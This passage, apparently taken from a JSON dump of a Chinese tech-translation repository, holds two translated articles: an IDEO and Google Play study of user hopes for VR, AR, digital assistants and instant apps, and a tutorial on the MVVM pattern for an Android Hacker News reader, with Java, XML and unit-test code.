Play与IDEO联系，想要找出像虚拟现实、增强现实、电子助手以及即时应用（不需要你下载和安装的应用）这些可能会有所帮助的新兴技术。随着这些新技术的出现，它们的应用将有无限的可能性。在未来，许多事情都将成为可能，但是什么才是有用且令人满意的呢？人们将如何将这些技术融入他们的生活？当他们想到这些技术可以为他们做什么时，他们想要的是什么？他们想去哪里？他们想象什么？谷歌很想知道。\n\n自从人成为了IDEO设计工作的中心，我们开始与人们交谈，并询问他们关于他们希望这些技术的未来是什么样的。\n\n![](https://cdn-images-1.medium.com/max/800/1*rM73xoDs5G0ycitgQxJgSA.png)\n\n我们和这四种技术的创造和持有者（包括专家，艺术家和开发人员）以及从小学生到早期的使用者以及技术恐惧者沟通。我们在旧金山举办了面对面的交谈，准备了零食和饮料，以更好的了解他们。我们进行了以未来为话题中心，激发了积极而随性的讨论。\n\n我们有意的不去讨论具体的品牌、平台和功能。取而代之的是我们创造了一种设计练习。这种练习将每个技术抽象成可以持有，可以穿戴、可以想像、可以体验的。\n\n以下是我们所听到的重点：\n\n\n<iframe width=\"700\" height=\"393\" src=\"https://www.youtube.com/embed/2EPtAmfJANQ\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n通过这些研究课程，我们明确了每种新兴技术可以提供独特的截然不同的前景：\n\n![](https://cdn-images-1.medium.com/max/800/1*WvUcObRhogt_dWYAFImqjA.png)\n\n图中（从左至右，从上至下）：\n\n[虚拟现实]：带我们去各种地方并赋予新能力\n\n[增强现实]：让我们可以和周围物理世界潜在的信息层级交互\n\n[电子助手]：让我们通过对话接入并控制信息和服务\n\n[即时应用]：让我们想要做什么以及什么时候做变得更加容易\n\n\n当我们思考这些科技的优点，他们如何适配业务，或者如何通过他们去创立业务的时候，我们很容易就只关注目前技术的能力或者短期内的能力而去假设他们对用户实际的价值。但是我们应该以技术未来的发展对用户的意义来指导我们的工作。\n\n> 如果我们希望创造一些有持久价值的事情，我们需要从用户需求出发，不仅仅局限于技术的可行性。\n\n\n### 我们的研究告诉我们用户的希望、需求以及梦想\n\n要了解用户的想法和感受，我们需要变得实际和善于表达。\n当你向用户展示一个仍有提出贡献余地的实际概念时，他们会看到潜力并开始坦诚分享想法。当你呈现给他们一个完美的东西时，他们会开始寻找它的瑕疵。\n\n#### 虚拟现实(VR)\n\n![](https://cdn-images-1.medium.com/max/800/1*v6aUUEBbz_iByAnr8KS_lA.jpeg)\n\n\n_“我希望我可以和其他人分享我的经历，或者让当地的朋友带我四处看看.” _— Nikki\n\n\n**练习:** 我们为用户提供了各类场景，从实际的在地铁上通勤到虚幻的访问火星或者飞行穿越城市。我们随机提供给他们然后要求他们想象自己已经被传送至这个地方。我们还会问，你是如何到这里来的？你在这里想做什么？你想和谁一起在这里以及和谁交流？\n\n\n**用户想象的:** VR将我们带到令人惊叹的新地方。人们希望自由地按照自己的条件去探索这些地方，并且能够与他人分享这些体验。\n\n* * *\n\n#### 增强现实 (AR)\n\n![](https://cdn-images-1.medium.com/max/800/1*1ejmEzMwdkgiYJFnx-lCOw.jpeg)\n\n\n_“需要有一种降低一切事物干扰的方法，才能让我完全沉浸在这个环境里。” _— Rupert\n\n\n**练习:** 我们给用户一个被称为神奇眼镜的眼镜状的亚克力片，让他们想象在各种场景下通过这个眼镜可以看到什么，并将这些想法和梦想画下来和组里人分享。\n\n\n\n**用户想象的:** AR给了我们增强周围世界的机会，人们希望将相关信息整合到周围环境中，而且有能力移除掉分心的事物能够让用户专心。\n\n* * *\n\n\n#### 电子助手\n\n![](https://cdn-images-1.medium.com/max/800/1*E3ZF3K522OUp5Qpl9ZwFLw.jpeg)\n\n\n_“我的助手要在我真正需要之前就知道我要的是什么，它要理解我的处境。”_ — Susana\n\n\n\n**练习:** 我们让用户为电子助手写下一个职位介绍，让他们想象他们可以聘请这个真实的助手辅佐他们的生活。我们的问题是：你会让他们去做什么？这个人有什么技能？你什么时候会怎样召唤这个人？\n\n\n**用户想象的:**电子助手会在日常生活中给予帮助，但是人们想要的不止于此。他们想和电子助手建立关系，被他们鼓舞和激励。人们想要他们的助手能够对他们的需求和心情有预判。\n\n* * *\n\n#### Ephemeral Apps\n\n####即时应用\n\n![](https://cdn-images-1.medium.com/max/800/1*s02svVaRmdAw4uySV3KXLg.jpeg)\n\n\n_“我想通过最少的交互和尽可能少的步骤去做事情。”_ — Garret\n\n\n**练习:** 我们给用户呈现了两个情节，一个是在他们工作附近新开的咖啡店点餐，另一个是在他们第一次去一个城市时停一辆车。我们询问他们在理想世界中将如何完成这些任务。他们会怎么做呢？又会发生什么呢？\n\n\n**用户想象的:** 当我们需要的时候，即时应用让我们更容易地做我们想做的事情。人们希望这些体验既简单又愉快。\n\n> 新科技的发展前景会扩展我们作为人类的能力，让我们能够做之前做不了的事。这是关于展望未来科技本身可以做的事，以及它能够让我们做什么。\n\n\n### 如何从今天开始\n\n\n开始使用VR、AR、电子助手和即时应用并不复杂和昂贵。事实上，我们和Google Play一起创造了一套设计思路，在2017年的Playtime上首次分享。我们希望这些可以激发更多的人去创造全新的功能、产品和业务，将这些科技带到生活中。\n\n[**下载这个卡片的PDF**.](http://services.google.com/fh/files/blogs/ideo_design_prompts_emerging_tech.pdf)\n\n![](https://cdn-images-1.medium.com/max/800/1*yKzN0Ssloia2s2tcXd8_dQ.jpeg)\n\n\n被命名为 “[以用户为中心为新兴技术的设计思路](http://services.google.com/fh/files/blogs/ideo_design_prompts_emerging_tech.pdf)”的这一组二十个思路，帮助你根据你客户的生活环境进行新兴技术设计 。他们的目的是在当你想弄清楚构建 _什么_ 的构思阶段提供指导。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*UPleVcrSQDvInBB_hrxS5g.jpeg)\n\n每个卡片由人的场景和需求开始，考虑你的客户日常生活环境，然后翻转卡片开始头脑风暴。每个思路被设计成会为每个现存科技和人类愿望为基础而创造一些可能的答案。\n\n最重要的事情是要记住：梦想不是从说明书和功能、SDK和API开始的。\n梦想是人类的天性，是我们每个人内心深处的东西。当用新兴技术打造时，从这开始--用你设计的这些梦想。以及不要忘记挖掘你自己内心。\n\n\n_这项工作是_ [_Google Play_](https://medium.com/googleplaydev) _和_ [_IDEO_](http://ideo.com)（以其以人为本的设计开创性方法而全球闻名的设计公司） _合作的结果。_\n\n* * *\n\n#### 你怎么想?\n\n\n你有任何关于新兴技术中以用户为中心的设计的意见吗？在下面的评论中继续讨论，或者使用标签#AskPlayDev发推特，我们将从[@GooglePlayDev](http://twitter.com/googleplaydev)回复，在这里我们将定期分享有关如何在Google Play上取得成功的新闻和提示。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/approaching-android-with-mvvm.md",
    "content": "> * 原文链接 : [Approaching Android with MVVM — ribot labs — Medium](https://medium.com/ribot-labs/approaching-android-with-mvvm-8ceec02d5442#.8c8bnpmwi)\n> * 原文作者 : [Joe Birch](https://twitter.com/hitherejoe)\n> * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者 : [Sausure](https://github.com/Sausure)\n> * 校对者: [EthanWu (ethan-wu)](https://github.com/EthanWu)、[dodocat (Quanqi)](https://github.com/dodocat)、[foolishgao](https://github.com/foolishgao)\n\n# MVVM 模式介绍\n\n我考察了一段时间安卓的数据绑定类库，决定尝试下它的“Model-View-ViewModel”模式。因为我曾经和 [@matto1990](https://twitter.com/matto1990) 合作开发过一款应用 [HackerNews Reader](https://github.com/hitherejoe/HackerNewsReader)，所以我决定利用这种模式重新实现它。\n\n![](https://cdn-images-1.medium.com/max/800/1*jI0Qc7-8vYy7UpKuTLWrKg.png)\n\n这篇文章通过一款简单的App来论证MVVM模式，我建议你先看看这个[项目](https://github.com/hitherejoe/MVVM_Hacker_News)，让你大概了解下它。\n\n\n### 什么是MVVM模式?\n**Model-View-ViewModel** 就是将其中的 **View** 的状态和行为抽象化，让我们可以将UI和业务逻辑分开。当然这些工作 **ViewModel** 已经帮我们做了，它可以取出 **Model** 的数据同时帮忙处理 **View** 中由于需要展示内容而涉及的业务逻辑。\n\nMVVM模式是通过以下三个核心组件组成，每个都有它自己独特的角色：\n\n*   **Model** - 包含了业务和验证逻辑的数据模型\n*   **View** - 定义屏幕中View的结构，布局和外观\n*   **ViewModel** - 扮演“View”和“Model”之间的使者，帮忙处理 **View** 的全部业务逻辑\n\n![](https://cdn-images-1.medium.com/max/1600/1*VLhXURHL9rGlxNYe9ydqVg.png)\n\n那这和我们曾经用过的MVC模式有什么不同呢？以下是MVC的结构\n\n*   **View** 在 **Controller** 的顶端，而 **Model** 在 **Controller** 的底部\n*   **Controller** 需要同时关注 **View** 和 **Model**\n*   **View** 只能知道 **Model** 的存在并且能在Model的值变更时收到通知\n\nMVVM模式和MVC有些类似，但有以下不同：\n\n*   **ViewModel** 替换了 **Controller**，在UI层之下\n*   **ViewModel** 向 **View** 暴露它所需要的数据和指令对象\n*   **ViewModel** 接收来自 **Model** 的数据 \n\n你可以看到这两种模式有着相似的结构，但新加入的 **ViewModel** 是用不同的方法将组件们联系起来的，它是双向的，而MVC只能单向连接。\n\n概括起来，MVVM是由MVC发展而来 - 通过在 **Model** 之上而在 **View** 之下增加一个非视觉的组件将来自 **Model** 的数据映射到 **View** 中。接下来，我们将更多地看到MVVM的这种特性。\n\n### The Hacker News reader\n\n正如前面提及过的，我将我原来的一个项目拆开为这篇文章服务。这款应用有以下几种特性:\n\n*   查看帖子列表\n*   查看单个帖子\n*   查看帖子下的评论\n*   查看指定作者的帖子\n\n我们这么做是为了缩减代码库的规模，更加容易去了解这些操作是如何进行的。下面的图片能让你很快了解它是怎么工作的：\n\n![](https://cdn-images-1.medium.com/max/1600/1*zMUV6foMMwgciC44zkP3Vg.png)\n\n左边的图片展示的是帖子的列表，它也是这款应用的主要部分，接下来右边的图片展示的是该帖子的评论列表，它和前者有相似的地方，但也有一些不同，我们将在后面看到。\n\n### 展示帖子\n\n![](https://cdn-images-1.medium.com/max/800/1*QbhJtmYYtGzU7AfeybxRJA.png)\n\n每个帖子信息都用 **RecyclerView** 所包含的 **CardView** 包装起来，正如上图展示的。\n\n使用MVVM我们可以将不同层抽象出来很好的实现这些卡片，这意味着每个MVVM组件只要处理它被分配的任务即可。通过使用前面介绍的MVVM的不同组件，组合在一起后能构造出我们的帖子卡片实例，那么我们该如何将它们从布局中抽离出来？\n\n![](https://cdn-images-1.medium.com/max/1600/1*W5rJoOlz6YpZn6s36BLvSw.png)\n\n### Model\n简单来说，**Model** 由那些帖子的业务逻辑组成，包括一些像 id，name，text之类的属性，以下代码展示了该类的部分代码：\n\n```\n\npublic class Post {\n\n    public Long id;\n    public String by;\n    public Long time;\n    public ArrayList<Long> kids;\n    public String url;\n    public Long score;\n    public String title;\n    public String text;\n    @SerializedName(\"type\")\n    public PostType postType;\n\n    public enum PostType {\n        @SerializedName(\"story\")\n        STORY(\"story\"),\n        @SerializedName(\"ask\")\n        ASK(\"ask\"),\n        @SerializedName(\"job\")\n        JOB(\"job\");\n\n        private String string;\n\n        PostType(String string) {\n            this.string = string;\n        }\n\n        public static PostType fromString(String string) {\n            if (string != null) {\n                for (PostType postType : PostType.values()) {\n                    if (string.equalsIgnoreCase(postType.string)) return postType;\n                }\n            }\n            return null;\n        }\n    }\n\n    public Post() { }\n\n}\n```\n为了可读性，上面的 **POST** 类中去掉了一些Parcelable变量和方法\n这里你可以看到**Post**类只包含所有它的属性，没有一点别的逻辑 - 别的组件会处理它们。\n\n##View\n**View** 的任务是定义布局，外观和结构。**View** 最好能完全通过XML来定义，即使它包含些许java代码也不应该有业务逻辑部分，\n**View** 会通过绑定从 **ViewModel**中取出数据。在运行时，若 **ViewModel**的属性的值有变化的话它会通知 **View**来更新UI。\n\n首先，我们先给 **RecyclerView** 传入一个自定义的适配器。为此，我们需要让我们的 **BindingHolder** 类持有对 **Binding** 的引用。\n\n```\npublic static class BindingHolder extends RecyclerView.ViewHolder {\n    private ItemPostBinding binding;\n\npublic BindingHolder(ItemPostBinding binding) {\n        super(binding.cardView);\n        this.binding = binding;\n    }\n}\n```\n\n**onBindViewHolder()** 方法才是真正将 **ViewModel** 和 **View** 绑定的地方。我们获取一个 **ItemPostBinding** 对象（它会被 **item_post** 布局自动生成），然后将新建的 **PostViewModel** 对象传给它的 **ViewModel** 引用。\n\n```\nItemPostBinding postBinding = holder.binding;\npostBinding.setViewModel(new PostViewModel(mContext,\n                             mPosts.get(position), mIsUserPosts));\n```\n\n下面就是完整的 **PostAdaper** 类：\n\n```\n\npublic class PostAdapter extends RecyclerView.Adapter<PostAdapter.BindingHolder> {\n    private List<Post> mPosts;\n    private Context mContext;\n    private boolean mIsUserPosts;\n\n    public PostAdapter(Context context, boolean isUserPosts) {\n        mContext = context;\n        mIsUserPosts = isUserPosts;\n        mPosts = new ArrayList<>();\n    }\n\n    @Override\n    public BindingHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n        ItemPostBinding postBinding = DataBindingUtil.inflate(\n                LayoutInflater.from(parent.getContext()),\n                R.layout.item_post,\n                parent,\n                false);\n        return new BindingHolder(postBinding);\n    }\n\n    @Override\n    public void onBindViewHolder(BindingHolder holder, int position) {\n        ItemPostBinding postBinding = holder.binding;\n        postBinding.setViewModel(new PostViewModel(mContext, mPosts.get(position), mIsUserPosts));\n    }\n\n    @Override\n    public int getItemCount() {\n        return mPosts.size();\n    }\n\n    public void setItems(List<Post> posts) {\n        mPosts = posts;\n        notifyDataSetChanged();\n    }\n\n    public void addItem(Post post) {\n        mPosts.add(post);\n        notifyDataSetChanged();\n    }\n\n    public static class BindingHolder extends RecyclerView.ViewHolder {\n        private ItemPostBinding binding;\n\n        public BindingHolder(ItemPostBinding binding) {\n            super(binding.cardView);\n            this.binding = binding;\n        }\n    }\n\n}\n```\n\n看下我们的XML布局，首先我们要将所有的布局都包含在layout标签下，同时使用data标签来声明我们的 **ViewModel**:\n\n```\n<layout xmlns:android=\"http://schemas.android.com/apk/res/android\">\n<data>\n<variable name=\"viewModel\" type=\"com.hitherejoe.mvvm_hackernews.viewModel.PostViewModel\" /></data>\n<!-- Other layout views -->\n</layout>\n```\n声明 **ViewModel** 可以让我们在整个布局中引用它，在 [item_post](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/res/layout/item_post.xml) 布局中我们会多次用到 **ViewModel**:\n\n*   **androidText** - 你可以从 **ViewModel** 中引用相应的方法给文本视图设置内容。正如下面你所看到的 **@{viewModel.postTitle}**，它从 **ViewModel** 中引用了 **getPostTitle()** 方法 - 它将返回相应帖子的标题。\n\n*   **onClick** - 我们也可以引用单击事件到布局文件中。如你所看到的，**@{viewModel.onClickPost}** 是指从 **ViewModel** 中引用 **onClickPost()**方法 - 它将返回一个能处理单击事件的 **OnClickListener** 对象。\n\n*   **visibility** - 控制去**comments activity**的入口，依赖于该帖子是否有相应的评论。通过检查 **comments list** 的长度来决定该 **visibility** 的值，这些操作都是在 **ViewModel** 中完成的。在这里，我们引用了它的**getCommentsVisiblity()**方法来计算是否该显示\n\n```\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<layout xmlns:android=\"http://schemas.android.com/apk/res/android\">\n\n    <data>\n        <variable name=\"viewModel\" type=\"com.hitherejoe.mvvm_hackernews.viewModel.PostViewModel\" />\n    </data>\n\n    <android.support.v7.widget.CardView\n        xmlns:card_view=\"http://schemas.android.com/apk/res-auto\"\n        android:id=\"@+id/card_view\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_marginTop=\"2dp\"\n        android:layout_marginBottom=\"2dp\"\n        card_view:cardCornerRadius=\"2dp\"\n        card_view:cardUseCompatPadding=\"true\">\n\n        <LinearLayout\n            android:id=\"@+id/container_post\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:clickable=\"true\"\n            android:orientation=\"vertical\"\n            android:onClick=\"@{viewModel.onClickPost}\">\n\n            <LinearLayout\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"wrap_content\"\n                android:orientation=\"vertical\"\n                android:padding=\"16dp\"\n                android:background=\"@drawable/touchable_background_white\">\n\n                <TextView\n                    android:id=\"@+id/text_post_title\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"wrap_content\"\n                    android:layout_marginBottom=\"8dp\"\n                    android:text=\"@{viewModel.postTitle}\"\n                    android:textColor=\"@color/black_87pc\"\n                    android:textSize=\"@dimen/text_large_title\"\n                    android:onClick=\"@{viewModel.onClickPost}\"/>\n\n                <RelativeLayout\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"wrap_content\">\n\n                    <TextView\n                        android:id=\"@+id/text_post_points\"\n                        android:layout_width=\"wrap_content\"\n                        android:layout_height=\"wrap_content\"\n                        android:layout_alignParentLeft=\"true\"\n                        android:text=\"@{viewModel.postScore}\"\n                        android:textSize=\"@dimen/text_body\"\n                        android:textColor=\"@color/hn_orange\" />\n\n                    <TextView\n                        android:id=\"@+id/text_post_author\"\n                        android:layout_width=\"wrap_content\"\n                        android:layout_height=\"wrap_content\"\n                        android:layout_toRightOf=\"@+id/text_post_points\"\n                        android:text=\"@{viewModel.postAuthor}\"\n                        android:textColor=\"@color/black_87pc\"\n                        android:textSize=\"@dimen/text_body\"\n                        android:bufferType=\"spannable\"\n                        android:onClick=\"@{viewModel.onClickAuthor}\"/>\n\n                </RelativeLayout>\n\n            </LinearLayout>\n\n            <View\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"1dp\"\n                android:background=\"@color/light_grey\" />\n\n            <LinearLayout\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"wrap_content\"\n                android:orientation=\"horizontal\"\n                android:background=\"@color/white\">\n\n                <TextView\n                    android:id=\"@+id/text_view_post\"\n                    android:layout_width=\"wrap_content\"\n                    android:layout_height=\"wrap_content\"\n                    android:padding=\"16dp\"\n                    android:background=\"@drawable/touchable_background_white\"\n                    android:clickable=\"true\"\n                    android:textColor=\"@color/black\"\n                    android:textSize=\"@dimen/text_small_body\"\n                    android:textStyle=\"bold\"\n                    android:text=\"@string/view_button\"\n                    android:onClick=\"@{viewModel.onClickPost}\"/>\n\n                <TextView\n                    android:id=\"@+id/text_view_comments\"\n                    android:layout_width=\"wrap_content\"\n                    android:layout_height=\"wrap_content\"\n                    android:padding=\"16dp\"\n                    android:background=\"@drawable/touchable_background_white\"\n                    android:clickable=\"true\"\n                    android:textColor=\"@color/hn_orange\"\n                    android:textSize=\"@dimen/text_small_body\"\n                    android:text=\"@string/comments_button\"\n                    android:onClick=\"@{viewModel.onClickComments}\"\n                    android:visibility=\"@{viewModel.commentsVisibility}\"/>\n\n            </LinearLayout>\n\n        </LinearLayout>\n\n    </android.support.v7.widget.CardView>\n\n</layout>\n```\n\n这样做实在太棒了，我们能抽象出显示逻辑到我们的布局文件中，让我们的 **ViewModel** 来关注它们。\n\n### ViewModel\n\n**ViewModel** 扮演了 **View** 和 **Model** 之间使者的角色，让它来关注所有涉及到 **View** 的业务逻辑，同时它可以访问 **Model** 的方法和属性，这些最终会作用到 **View** 中。通过\n**ViewModel**，可以移除原本需要在别的组件中返回或处理的数据。\n\n在这里，[PostViewModel](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/java/com/hitherejoe/mvvm_hackernews/viewModel/PostViewModel.java) 用 **Post** 对象来处理 **CardView** 需要显示的内容，在下面的类中，你可以看到一系列的方法，每个方法对最终作用于我们的帖子视图。\n\n*   **getPostTitle()** - 通过 **Post** 对象返回一个帖子的标题\n*   **getPostAuthor()** - 这个方法首先会从应用的resources中获取相应的字符串，然后传入**Post**对象的**author**属性对它进行格式化，如果**isUserPosts** 等于true我们就需要加入下划线，最终返回该字符串。\n*   **getCommentsVisibility()** - 该方法决定是否显示有关评论的TextView\n*   **onClickPost()** - 该方法返回相应View需要的**OnClickListener**\n\n这些例子表明不同的业务逻辑都有我们的 **ViewModel** 来处理。下面就是我们[PostViewModel](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/java/com/hitherejoe/mvvm_hackernews/viewModel/PostViewModel.java)类的完整代码以及那些被[item_post](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/res/layout/item_post.xml)布局引用的方法。\n\n```\n\npublic class PostViewModel extends BaseObservable {\n\n    private Context context;\n    private Post post;\n    private Boolean isUserPosts;\n\n    public PostViewModel(Context context, Post post, boolean isUserPosts) {\n        this.context = context;\n        this.post = post;\n        this.isUserPosts = isUserPosts;\n    }\n\n    public String getPostScore() {\n        return String.valueOf(post.score) + context.getString(R.string.story_points);\n    }\n\n    public String getPostTitle() {\n        return post.title;\n    }\n\n    public Spannable getPostAuthor() {\n        String author = context.getString(R.string.text_post_author, post.by);\n        SpannableString content = new SpannableString(author);\n        int index = author.indexOf(post.by);\n        if (!isUserPosts) content.setSpan(new UnderlineSpan(), index, post.by.length() + index, 0);\n        return content;\n    }\n\n    public int getCommentsVisibility() {\n        return  post.postType == Post.PostType.STORY && post.kids == null ? View.GONE : View.VISIBLE;\n    }\n\n    public View.OnClickListener onClickPost() {\n        return new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                Post.PostType postType = post.postType;\n                if (postType == Post.PostType.JOB || postType == Post.PostType.STORY) {\n                    launchStoryActivity();\n                } else if (postType == Post.PostType.ASK) {\n                    launchCommentsActivity();\n                }\n            }\n        };\n    }\n\n    public View.OnClickListener onClickAuthor() {\n        return new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                context.startActivity(UserActivity.getStartIntent(context, post.by));\n            }\n        };\n    }\n\n    public View.OnClickListener onClickComments() {\n        return new View.OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                launchCommentsActivity();\n            }\n        };\n    }\n\n    private void launchStoryActivity() {\n        context.startActivity(ViewStoryActivity.getStartIntent(context, post));\n    }\n\n    private void launchCommentsActivity() {\n        context.startActivity(CommentsActivity.getStartIntent(context, post));\n    }\n}\n```\n\n是不是很爽？正如你看到的，我们的**PostViewModel**关注以下方面：\n\n*   维护 **Post** 对象的属性，最终会在 **View** 中展示\n*   对这些属性进行相应的格式化\n*   通过 **onclick** 属性给相应的views对提供点击事件的支持\n*   通过 **Post** 对象的属性处理相关views的显示\n\n### 测试 ViewModel\n\n使用MVVM的一大好处是我们可以很容易对 **ViewModel** 进行单元测试。在 **PostViewModel** 中，可以写些简单的测试方法来验证我们的 **ViewModel** 是否正确实现。\n\n*   **shouldGetPostScore()** - 测试getPostScore()方法，确认该帖子的得分是否正确地格式化成字符串对象并返回。\n*   **shouldGetPostTitle()** - 测试getPostTitle()方法，确认该帖子的标题被正确返回。\n*   **shouldGetPostAuthor()** - 测试getPostAuthor()方法，确认返回的帖子的作者被正确地格式化了\n*   **shouldGetCommentsVisiblity()** - 测试getCommentsVisibility()方法是否正确返回了visibility属性的值，它将会用在帖子的 `Comments` 按钮中。我们传入一个包含不同状态的ArrayLists来确认它是否能正确返回。\n\n```\n\n@RunWith(RobolectricTestRunner.class)\n@Config(constants = BuildConfig.class, sdk = DefaultConfig.EMULATE_SDK, manifest = DefaultConfig.MANIFEST)\npublic class PostViewModelTest {\n\n    private Context mContext;\n    private PostViewModel mPostViewModel;\n    private Post mPost;\n\n    @Before\n    public void setUp() {\n        mContext = RuntimeEnvironment.application;\n        mPost = MockModelsUtil.createMockStory();\n        mPostViewModel = new PostViewModel(mContext, mPost, false);\n    }\n\n    @Test\n    public void shouldGetPostScore() throws Exception {\n        String postScore = mPost.score + mContext.getResources().getString(R.string.story_points);\n        assertEquals(mPostViewModel.getPostScore(), postScore);\n    }\n\n    @Test\n    public void shouldGetPostTitle() throws Exception {\n        assertEquals(mPostViewModel.getPostTitle(), mPost.title);\n    }\n\n    @Test\n    public void shouldGetPostAuthor() throws Exception {\n        String author = mContext.getString(R.string.text_post_author, mPost.by);\n        assertEquals(mPostViewModel.getPostAuthor().toString(), author);\n    }\n\n    @Test\n    public void shouldGetCommentsVisibility() throws Exception {\n        // Our mock post is of the type story, so this should return gone\n        mPost.kids = null;\n        assertEquals(mPostViewModel.getCommentsVisibility(), View.GONE);\n        mPost.kids = new ArrayList<>();\n        assertEquals(mPostViewModel.getCommentsVisibility(), View.VISIBLE);\n        mPost.kids = null;\n        mPost.postType = Post.PostType.ASK;\n        assertEquals(mPostViewModel.getCommentsVisibility(), View.VISIBLE);\n    }\n}\n```\n现在我们可以知道的 **ViewModel** 已经正确工作了！！\n\n### 评论\n\n实现评论的方法和前面很像但还是有点不同。\n\n有两个不同的**ViewModel**被用来操作这次评论，[CommentHeaderViewModel](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/java/com/hitherejoe/mvvm_hackernews/viewModel/CommentHeaderViewModel.java) 和 [CommentViewModel](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/java/com/hitherejoe/mvvm_hackernews/viewModel/CommentViewModel.java)。正如你在[CommentAdapter](https://github.com/hitherejoe/MVVM_Hacker_News/blob/master/app/src/main/java/com/hitherejoe/mvvm_hackernews/view/adapter/CommentAdapter.java)中看到的，我们的 **View** 有两种的不同类型：\n\n```\nprivate static final int VIEW_TYPE_COMMENT = 0;\nprivate static final int VIEW_TYPE_HEADER = 1;\n```\n如果该帖子是一个**发问**的帖子，我们将在屏幕的顶端显示一个头部，它显示所问的问题 - 接着评论会正常显示在下面。同时你应该会注意到在 **onCreateViewHolder()** 中我们会通过判断 VIEW_TYPE 来加载不同的布局，它会返回两种不同布局中的其中一种。\n\n```\nif (viewType == _VIEW_TYPE_HEADER_) {\n    ItemCommentsHeaderBinding commentsHeaderBinding =\n    DataBindingUtil._inflate_(\n            LayoutInflater._from_(parent.getContext()),\n            R.layout._item_comments_header_,\n            parent,\n            false);\n    return new BindingHolder(commentsHeaderBinding);\n} else {\n    ItemCommentBinding commentBinding =\n        DataBindingUtil._inflate_(\n            LayoutInflater._from_(parent.getContext()),\n            R.layout._item_comment_,\n            parent,\n            false);\n    return new BindingHolder(commentBinding);\n}\n```\n接着在我们的 **onBindViewHolder()**方法中我们会根据不同的视图类型来创建绑定。这是因为不同的 **ViewModel** 对头部有不同的处理方法\n\n```\nif (getItemViewType(position) == _VIEW_TYPE_HEADER_) {\n    ItemCommentsHeaderBinding commentsHeaderBinding =\n                        (ItemCommentsHeaderBinding) holder.binding;\n    commentsHeaderBinding.setViewModel(new\n                          CommentHeaderViewModel(mContext, mPost));\n} else {\n    int actualPosition = (postHasText()) ? position - 1 : position;\n    ItemCommentBinding commentsBinding =\n                               (ItemCommentBinding) holder.binding;\n    mComments.get(actualPosition).isTopLevelComment =\n                                               actualPosition == 0;\n    commentsBinding.setViewModel(new CommentViewModel(\n                         mContext, mComments.get(actualPosition)));\n}\n```\n\n这就是它们的不同点，评论部分有两个不同的**ViewModel**类型 — 取决于该帖子是否是**发问**类的帖子。\n\n### 总结\n\n如果正确使用，数据绑定类库可能会改变我们开发应用的方式。当然，还有其他方法实现数据的绑定，使用MVVM模式只是其中的一种途径。\n\n比如，你可以在布局中引用我们的 **Model** 然后通过它的变量引用直接访问它的属性：\n\n```\n<data>\n    <variable name=\"post\" type=\"your.package.name.model.Post\"/>\n</data>\n<TextView\n    ...\n    android:text=\"@{post.title}\"/>\n```\n\n同时我们可以很容易从adapers和classes中移除一些基础的显示逻辑。下面有种很新颖的方法实现我们这种需求：\n\n```\n<data>\n    <import type=\"android.view.View\"/>\n</data>\n<TextView\n    ...\n    android:visibility=\"@{post.hasComments ? View.Visible :\n    View.Gone}\"/>\n```\n\n![](https://cdn-images-1.medium.com/max/1600/1*bEQosDqPGuIbNcdPQDNktQ.gif)\n这就是我看到上面实现方式的表情！\n\n我认为这是数据绑定类库中不好的地方，它将 **View** 的显示逻辑包含到了 **View** 中。不仅会造成混乱，也让我们的测试和调试变的更加困难，因为它将逻辑和布局混淆在一起。\n\n当然，认定MVVM是开发应用的正确方式还为时过早，但这次尝试也让我有机会见识到未来项目的一种趋势。如果你想阅读更多有关数据绑定类库的文章，你可以看[这里](https://developer.android.com/tools/data-binding/guide.html)。同时微软也有一篇关于MVVM通俗易懂的[文章](https://msdn.microsoft.com/en-gb/library/hh848246.aspx).\n\n我很愿意听取你们想法，如果你们有任何的看法和建议可以随时发 Tweet 和我讨论！\n"
  },
  {
    "path": "TODO/are-notifications-a-dark-pattern.md",
